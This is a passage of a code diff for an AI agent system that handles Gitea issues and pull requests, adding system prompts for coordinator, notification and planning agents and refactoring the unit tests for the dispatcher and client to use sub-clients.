+- **When researching**: Use web search to look up docs, error messages, library APIs, and platform quirks before asking humans.
+- Always be specific and actionable in your comments.
+
+### 🛑 FORBIDDEN ACTIONS
+- Creating new repositories.
+- Editing `.git` files (unless explicitly resolving a git issue).
+- Merging PRs yourself (leave for humans).
+- Working on non-`meeks` organization repos.
+- Skipping AGENTS.md when available.
+- Making unverified changes.
+
+### ✅ SUCCESS CRITERIA
+An issue is resolved when:
+1. A PR is created with the fix.
+2. The PR is linked to the issue (using `closes #N`).
+3. The fix has been verified.
+4. The PR has been reviewed (by another agent or human).
+5. The PR is merged by a human.
+
+You are the expert. Take charge. Follow the workflow exactly.

prompts/coordinator_agent.txt

@@ -0,0 +1,28 @@
+You are an AI Coordinator. Your job is to analyze Gitea issues, read the conversation history, and determine the next action for the agent.
+
+Based on the conversation state, you must choose and call exactly one of the following tools:
+
+1. `propose_plan`: Choose this if code changes are needed to resolve the issue, and either:
+   - No plan has been proposed yet by the AI agent.
+   - Or a plan was proposed, but the human replied with feedback, corrections, or requests for changes, so we need to propose a revised plan.
+   You must provide a detailed, step-by-step implementation plan (listing files to modify/create, specific changes to make, verification/test commands).
+
+2. `start_implementation`: Choose this if:
+   - A plan was previously proposed AND the human has clearly replied with approval/greenlight/go-ahead (e.g., "yes", "looks good", "ok", "go ahead", etc.).
+   - Or there is an existing WIP PR or a PR with requested changes, and we need to resume implementing the changes.
+   You must extract/summarize the approved plan, incorporating any human feedback.
+
+3. `answer_question`: Choose this if the issue is just a question or request for information (no code changes needed), and either:
+   - No answer has been provided yet by the AI agent.
+   - Or the agent answered, but the human replied with follow-up questions/clarifications.
+   Provide a clear, helpful response.
+
+4. `close_issue`: Choose this ONLY if the AI agent previously answered a question AND the human has explicitly replied with a message confirming they are fully satisfied or explicitly instructing the agent to close the issue (e.g., "thanks, this answers my question", "looks good, you can close this", "close it"). If the human's response is a follow-up question, is ambiguous, or does not explicitly approve closing, you must NOT call this tool (call `answer_question` or `take_no_action` instead).
+   Provide a polite closing comment.
+
+
+5. `take_no_action`: Choose this if the issue is already resolved, or if we cannot proceed for another reason.
+
+CRITICAL INSTRUCTIONS:
+- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
+- The `plan`, `answer`, or `comment` argument you pass to the tool will be posted directly to Gitea. DO NOT include your thought process, reasoning, or internal details in those arguments. Keep them concise and professional.

prompts/notification_agent.txt

@@ -0,0 +1,15 @@
+You are a Gitea Notification Reader Agent. Your job is to analyze incoming Gitea notifications and determine how they should be routed.
+
+Based on the notification subject, details, and conversation comments (if retrieved), you must choose and call exactly one of the following tools:
+
+1. `process_issue`: Choose this if the notification refers to a Gitea issue that requires active intervention, planning, implementation, or answering a question by the AI agent.
+2. `process_pr`: Choose this if the notification refers to a Gitea Pull Request that requires active intervention, code reviews, updates, or merging by the AI agent.
+3. `skip_notification`: Choose this if:
+   - The notification is irrelevant or does not require AI agent intervention.
+   - It is a notification about an action taken by the AI agent itself (e.g. self-assigned, self-commented, self-opened).
+   - The discussion is closed or resolved, or the notification is just informational (e.g. a simple status update that needs no reply).
+   - You are unsure or think it does not fit the agent's scope. You must provide a clear reason for skipping.
+
+CRITICAL INSTRUCTIONS:
+- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
+- You can use the provided inspection tools (like get_issue, get_pull_request, get_issue_comments, get_pull_request_comments) to gather more details if the basic notification metadata is insufficient to make a decision.

prompts/planning_agent.txt

@@ -0,0 +1,8 @@
+You are an AI Planning Agent. Your job is to research the codebase and any external resources to produce a detailed, step-by-step implementation plan for a Gitea issue or Pull Request.
+
+CRITICAL RULES:
+1. You are ONLY generating an implementation plan. DO NOT write files, DO NOT edit files, DO NOT commit, DO NOT push, and DO NOT create branches or PRs.
+2. RESEARCH FIRST:
+   - Use web search to find documentation, solutions, APIs, and best practices.
+   - Use read_file, list_files, grep_search, and run_command to explore the repository structure and test commands.
+3. Your plan must be clear and structured, identifying which files need to be modified, created, or deleted, and detailing the exact verification steps.

tests/test_best_practices.py

@@ -9,7 +9,6 @@ from gitea.tools.coding_tools import CodingTools
 from core.dispatcher import AgentDispatcher
 from core.queue import WorkItem
 from gitea.client import GiteaClient
-from gitea.tools.gitea_tools import GiteaTools
 from gitea.models import IssueModel, PullRequestModel
 
 pytestmark = pytest.mark.anyio
@@ -96,12 +95,16 @@ def test_run_verification_failure(tmp_path: Path) -> None:
 @patch("core.dispatcher.CodingAgent")
 @patch("core.dispatcher.PlanningAgent")
 async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+
+    # Mock sub-clients
+    mock_client.prs = MagicMock()
+    mock_client.issues = MagicMock()
+    mock_client.notifications = MagicMock()
 
     # Mock no existing PRs
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_issue_comments.return_value = []
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.issues.get_issue_comments.return_value = []
 
     from gitea.models import UserModel
     mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
@@ -110,13 +113,14 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
         number=42,
         title="fix bug",
         body="bug details",
-        user=UserModel(login="unknown-ai")
+        user=UserModel(login="unknown-ai"),
+        requested_reviewers=[UserModel(login="unknown-ai")],
     )
-    mock_client.get_pull_request.return_value = mock_pr
-    mock_client.get_pull_request_diff.return_value = "diff"
-    mock_client.get_pull_request_comments.return_value = []
-    mock_client.get_pull_request_files.return_value = []
-    mock_client.get_pr_reviews.return_value = []
+    mock_client.prs.get_pull_request.return_value = mock_pr
+    mock_client.prs.get_pull_request_diff.return_value = "diff"
+    mock_client.prs.get_pull_request_comments.return_value = []
+    mock_client.prs.get_pull_request_files.return_value = []
+    mock_client.prs.get_pr_reviews.return_value = []
 
     # Mock agent instances
     mock_planning_agent = MagicMock()
@@ -127,7 +131,18 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
     mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
     mock_coding_class.return_value = mock_coding_agent
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    from gitea.tools.issue_tools import IssueTools
+    from gitea.tools.pr_tools import PRTools
+    from gitea.tools.file_tools import FileTools
+    from gitea.tools.git_tools import GitTools
+
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=IssueTools(mock_client),
+        pr_tools=PRTools(mock_client),
+        file_tools=FileTools(mock_client),
+        git_tools=GitTools(mock_client),
+    )
 
     work_item = WorkItem(
         repo_full_name="meeks/repo1",

tests/test_client.py

@@ -11,7 +11,7 @@ def test_gitea_client_list_repo_issues() -> None:
         mock_get.return_value = mock_response
 
         # Test default parameter ("open")
-        client.list_repo_issues("owner", "repo")
+        client.issues.list_repo_issues("owner", "repo")
         mock_get.assert_called_once()
         args, _ = mock_get.call_args
         assert "type=issues" in args[0]
@@ -20,7 +20,7 @@ def test_gitea_client_list_repo_issues() -> None:
         mock_get.reset_mock()
 
         # Test custom parameter ("closed")
-        client.list_repo_issues("owner", "repo", state="closed")
+        client.issues.list_repo_issues("owner", "repo", state="closed")
         mock_get.assert_called_once()
         args, _ = mock_get.call_args
         assert "type=issues" in args[0]
@@ -36,7 +36,7 @@ def test_gitea_client_list_repo_pull_requests() -> None:
         mock_get.return_value = mock_response
 
         # Test default parameter ("open")
-        client.list_repo_pull_requests("owner", "repo")
+        client.prs.list_repo_pull_requests("owner", "repo")
         mock_get.assert_called_once()
         args, _ = mock_get.call_args
         assert "state=open" in args[0]
@@ -44,7 +44,7 @@ def test_gitea_client_list_repo_pull_requests() -> None:
         mock_get.reset_mock()
 
         # Test custom parameter ("closed")
-        client.list_repo_pull_requests("owner", "repo", state="closed")
+        client.prs.list_repo_pull_requests("owner", "repo", state="closed")
         mock_get.assert_called_once()
         args, _ = mock_get.call_args
         assert "state=closed" in args[0]
@@ -55,14 +55,17 @@ def test_gitea_client_list_assigned_issues() -> None:
     user_mock: MagicMock = MagicMock()
     user_mock.login = "testuser"
 
-    with patch.object(client, "get_authenticated_user", return_value=user_mock), \
-            patch("httpx.Client.get") as mock_get:
+    with (
+        patch.object(client.repos, "get_authenticated_user", return_value=user_mock),
+        patch.object(client.issues, "_get_user", return_value=user_mock),
+        patch("httpx.Client.get") as mock_get,
+    ):
         mock_response: MagicMock = MagicMock()
         mock_response.status_code = 200
         mock_response.json.return_value = []
         mock_get.return_value = mock_response
 
-        client.list_assigned_issues("owner", "repo")
+        client.issues.list_assigned_issues("owner", "repo")
         mock_get.assert_called_once()
         args, _ = mock_get.call_args
         assert "type=issues" in args[0]
@@ -74,18 +77,36 @@ def test_gitea_client_list_assigned_pull_requests() -> None:
     user_mock: MagicMock = MagicMock()
     user_mock.login = "testuser"
 
-    with patch.object(client, "get_authenticated_user", return_value=user_mock), \
-            patch("httpx.Client.get") as mock_get:
+    with (
+        patch.object(client.repos, "get_authenticated_user", return_value=user_mock),
+        patch.object(client.prs, "_get_user", return_value=user_mock),
+        patch("httpx.Client.get") as mock_get,
+    ):
         mock_response: MagicMock = MagicMock()
         mock_response.status_code = 200
         mock_response.json.return_value = [
-            {"number": 1, "title": "PR 1", "assignee": {"login": "testuser"}, "user": {"login": "otheruser"}},
-            {"number": 2, "title": "PR 2", "assignee": None, "user": {"login": "testuser"}},
-            {"number": 3, "title": "PR 3", "assignee": {"login": "otheruser"}, "user": {"login": "otheruser"}}
+            {
+                "number": 1,
+                "title": "PR 1",
+                "assignee": {"login": "testuser"},
+                "user": {"login": "otheruser"},
+            },
+            {
+                "number": 2,
+                "title": "PR 2",
+                "assignee": None,
+                "user": {"login": "testuser"},
+            },
+            {
+                "number": 3,
+                "title": "PR 3",
+                "assignee": {"login": "otheruser"},
+                "user": {"login": "otheruser"},
+            },
         ]
         mock_get.return_value = mock_response
 
-        res = client.list_assigned_pull_requests("owner", "repo")
+        res = client.prs.list_assigned_pull_requests("owner", "repo")
         mock_get.assert_called_once()
         assert len(res) == 2
         numbers = [pr.number for pr in res]
@@ -106,7 +127,7 @@ def test_gitea_client_list_unread_notifications() -> None:
         mock_get.return_value = mock_response
 
         # Test without since
-        res = client.list_unread_notifications()
+        res = client.notifications.list_unread_notifications()
         mock_get.assert_called_once()
         _, kwargs = mock_get.call_args
         assert kwargs.get("params") == {"all": "false"}
@@ -116,20 +137,23 @@ def test_gitea_client_list_unread_notifications() -> None:
         mock_get.reset_mock()
 
         # Test with since
-        res = client.list_unread_notifications(since="2026-06-30T21:41:16+02:00")
+        res = client.notifications.list_unread_notifications(
+            since="2026-06-30T21:41:16+02:00"
+        )
         mock_get.assert_called_once()
         _, kwargs = mock_get.call_args
-        assert kwargs.get("params") == {"all": "false", "since": "2026-06-30T21:41:16+02:00"}
+        assert kwargs.get("params") == {
+            "all": "false",
+            "since": "2026-06-30T21:41:16+02:00",
+        }
 
 
 import pytest
 
+
 def test_gitea_client_get_authenticated_user_failure() -> None:
     client: GiteaClient = GiteaClient()
     with patch("httpx.Client.get") as mock_get:
         mock_get.side_effect = Exception("Connection error")
         with pytest.raises(RuntimeError, match="Could not get authenticated user"):
-            client.get_authenticated_user()
-
-
-
+            client.repos.get_authenticated_user()

tests/test_dispatcher.py

@@ -2,16 +2,19 @@ import pytest
 from unittest.mock import MagicMock, AsyncMock, patch, ANY
 from core.dispatcher import AgentDispatcher
 from core.queue import WorkItem
-from gitea.client import GiteaClient
-from gitea.tools.gitea_tools import GiteaTools
 from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
 
 pytestmark = pytest.mark.anyio
 
 
 async def test_dispatch_skips_issue_with_existing_pr() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+
+    # Mock sub-clients
+    mock_client.prs = MagicMock()
+    mock_client.issues = MagicMock()
+    mock_client.notifications = MagicMock()
 
     # Mock list_repo_pull_requests to return a PR that closes issue #42
     pr = PullRequestModel(
@@ -19,9 +22,15 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
         title="fix: resolve bug",
         body="closes #42"
     )
-    mock_client.list_repo_pull_requests.return_value = [pr]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr]
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
 
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
@@ -35,13 +44,14 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
 
     assert len(results) == 1
     assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
-    mock_client.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
+    mock_client.prs.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
 
 
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
 
     # Mock list_repo_pull_requests to return PRs that don't address issue #42
     pr = PullRequestModel(
@@ -49,8 +59,8 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
         title="feat: add something",
         body="closes #99"
     )
-    mock_client.list_repo_pull_requests.return_value = [pr]
-    mock_client.get_issue_comments.return_value = []
+    mock_client.prs.list_repo_pull_requests.return_value = [pr]
+    mock_client.issues.get_issue_comments.return_value = []
 
     # Mock CoordinatorAgent invoking propose_plan tool
     async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -61,7 +71,13 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
     mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
     mock_coord_class.return_value = mock_coord_instance
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
 
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
@@ -79,8 +95,9 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
 
 @patch("core.dispatcher.CodingAgent")
 async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
 
     # Mock get_pull_request, get_pull_request_diff, etc.
     pr = PullRequestModel(
@@ -90,25 +107,31 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
         head={"ref": "branch1"},
         base={"ref": "master"}
     )
-    mock_client.get_pull_request.return_value = pr
-    mock_client.get_pull_request_diff.return_value = "diff context"
-    mock_client.get_pull_request_files.return_value = []
-    mock_client.get_pull_request_comments.return_value = []
+    mock_client.prs.get_pull_request.return_value = pr
+    mock_client.prs.get_pull_request_diff.return_value = "diff context"
+    mock_client.prs.get_pull_request_files.return_value = []
+    mock_client.prs.get_pull_request_comments.return_value = []
 
     # Mock the connected issue and its comments
     issue = IssueModel(number=42, title="bug description")
-    mock_client.get_issue.return_value = issue
+    mock_client.issues.get_issue.return_value = issue
 
     comment = CommentModel(id=1, body="First comment")
-    mock_client.get_issue_comments.return_value = [comment]
+    mock_client.issues.get_issue_comments.return_value = [comment]
 
     # Mock CodingAgent
     mock_agent_instance = MagicMock()
     mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
     mock_agent_class.return_value = mock_agent_instance
 
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
 
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
@@ -126,46 +149,54 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
     assert "bug description" in mission
     assert "First comment" in mission
 
-    mock_client.get_issue.assert_called_once_with("meeks", "repo1", 42)
-    mock_client.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
+    mock_client.issues.get_issue.assert_called_once_with("meeks", "repo1", 42)
+    mock_client.issues.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
 
 
 async def test_find_pr_for_issue_by_branch() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
 
     # 1. Matches fix/issue-42-some-desc
     pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
-    mock_client.list_repo_pull_requests.return_value = [pr1]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr1]
     assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
 
     # 2. Matches fix/42
     pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
-    mock_client.list_repo_pull_requests.return_value = [pr2]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr2]
     assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
 
     # 3. Matches fix-42_desc
     pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
-    mock_client.list_repo_pull_requests.return_value = [pr3]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr3]
     assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
 
     # 4. Does NOT match fix/142
     pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
-    mock_client.list_repo_pull_requests.return_value = [pr4]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr4]
     assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
 
     # 5. Does NOT match fix/421
     pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
-    mock_client.list_repo_pull_requests.return_value = [pr5]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr5]
     assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
 
 
 
 async def test_find_pr_for_issue_by_raw_mention() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
 
     # PR body mentions #42
     pr = PullRequestModel(
@@ -174,33 +205,51 @@ async def test_find_pr_for_issue_by_raw_mention() -> None:
         body="This is for #42 to fix the bug",
         head={"ref": "some-branch"}
     )
-    mock_client.list_repo_pull_requests.return_value = [pr]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr]
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
     assert res is not None
     assert res.number == 103
 
 
 async def test_dispatch_skips_already_reviewed_pr() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_client.prs = MagicMock()
+    mock_client.issues = MagicMock()
+    mock_client.notifications = MagicMock()
+    mock_tools: MagicMock = MagicMock()
 
     from gitea.models import UserModel
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     pr = PullRequestModel(
         number=104,
         title="already reviewed PR",
         body="closes #42",
-        user=UserModel(login="unknown-ai")
+        user=UserModel(login="unknown-ai"),
+        requested_reviewers=[],
     )
-    mock_client.get_pull_request.return_value = pr
-    mock_client.get_pull_request_diff.return_value = "diff"
-    mock_client.get_pull_request_comments.return_value = [
+    mock_client.prs.get_pull_request.return_value = pr
+    mock_client.prs.get_pull_request_diff.return_value = "diff"
+    mock_client.prs.get_pull_request_comments.return_value = [
         CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
     ]
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
 
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
@@ -225,7 +274,7 @@ def _make_comment(login: str, body: str) -> CommentModel:
 
 def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
     mock_client = MagicMock()
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     return AgentDispatcher(client=mock_client, tools=MagicMock())
 
 
@@ -266,12 +315,13 @@ def test_is_awaiting_reply_no_marker_not_detected() -> None:
 
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_issue_comments.return_value = []
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.issues.get_issue_comments.return_value = []
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     
     async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
         coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
@@ -280,7 +330,13 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
     mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
     mock_coord_class.return_value = mock_coord_instance
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -292,17 +348,18 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
     results = await dispatcher.dispatch("meeks/repo1", [work_item])
     assert len(results) == 1
     assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
-    mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
+    mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
 
 
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_issue_comments.return_value = []
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.issues.get_issue_comments.return_value = []
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     
     async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
         coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
@@ -311,7 +368,13 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
     mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
     mock_coord_class.return_value = mock_coord_instance
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -323,19 +386,20 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
     results = await dispatcher.dispatch("meeks/repo1", [work_item])
     assert len(results) == 1
     assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
-    mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
+    mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
 
 
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     
     # Human comments indicating satisfaction after our answer
-    mock_client.get_issue_comments.return_value = [
+    mock_client.issues.get_issue_comments.return_value = [
         _make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
         _make_comment("michael", "Yes, thanks! That makes sense.")
     ]
@@ -347,7 +411,13 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
     mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
     mock_coord_class.return_value = mock_coord_instance
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -359,27 +429,28 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
     results = await dispatcher.dispatch("meeks/repo1", [work_item])
     assert len(results) == 1
     assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
-    mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
-    mock_client.close_issue.assert_called_once_with("meeks", "repo1", 42)
+    mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
+    mock_client.issues.close_issue.assert_called_once_with("meeks", "repo1", 42)
 
 
 @patch("subprocess.run")
 @patch("core.dispatcher.CodingAgent")
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
-    mock_client.get_issue_comments.return_value = [
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.issues.get_issue_comments.return_value = [
         _make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
         _make_comment("michael", "looks good, go ahead")
     ]
     
     # Return PR object on creation
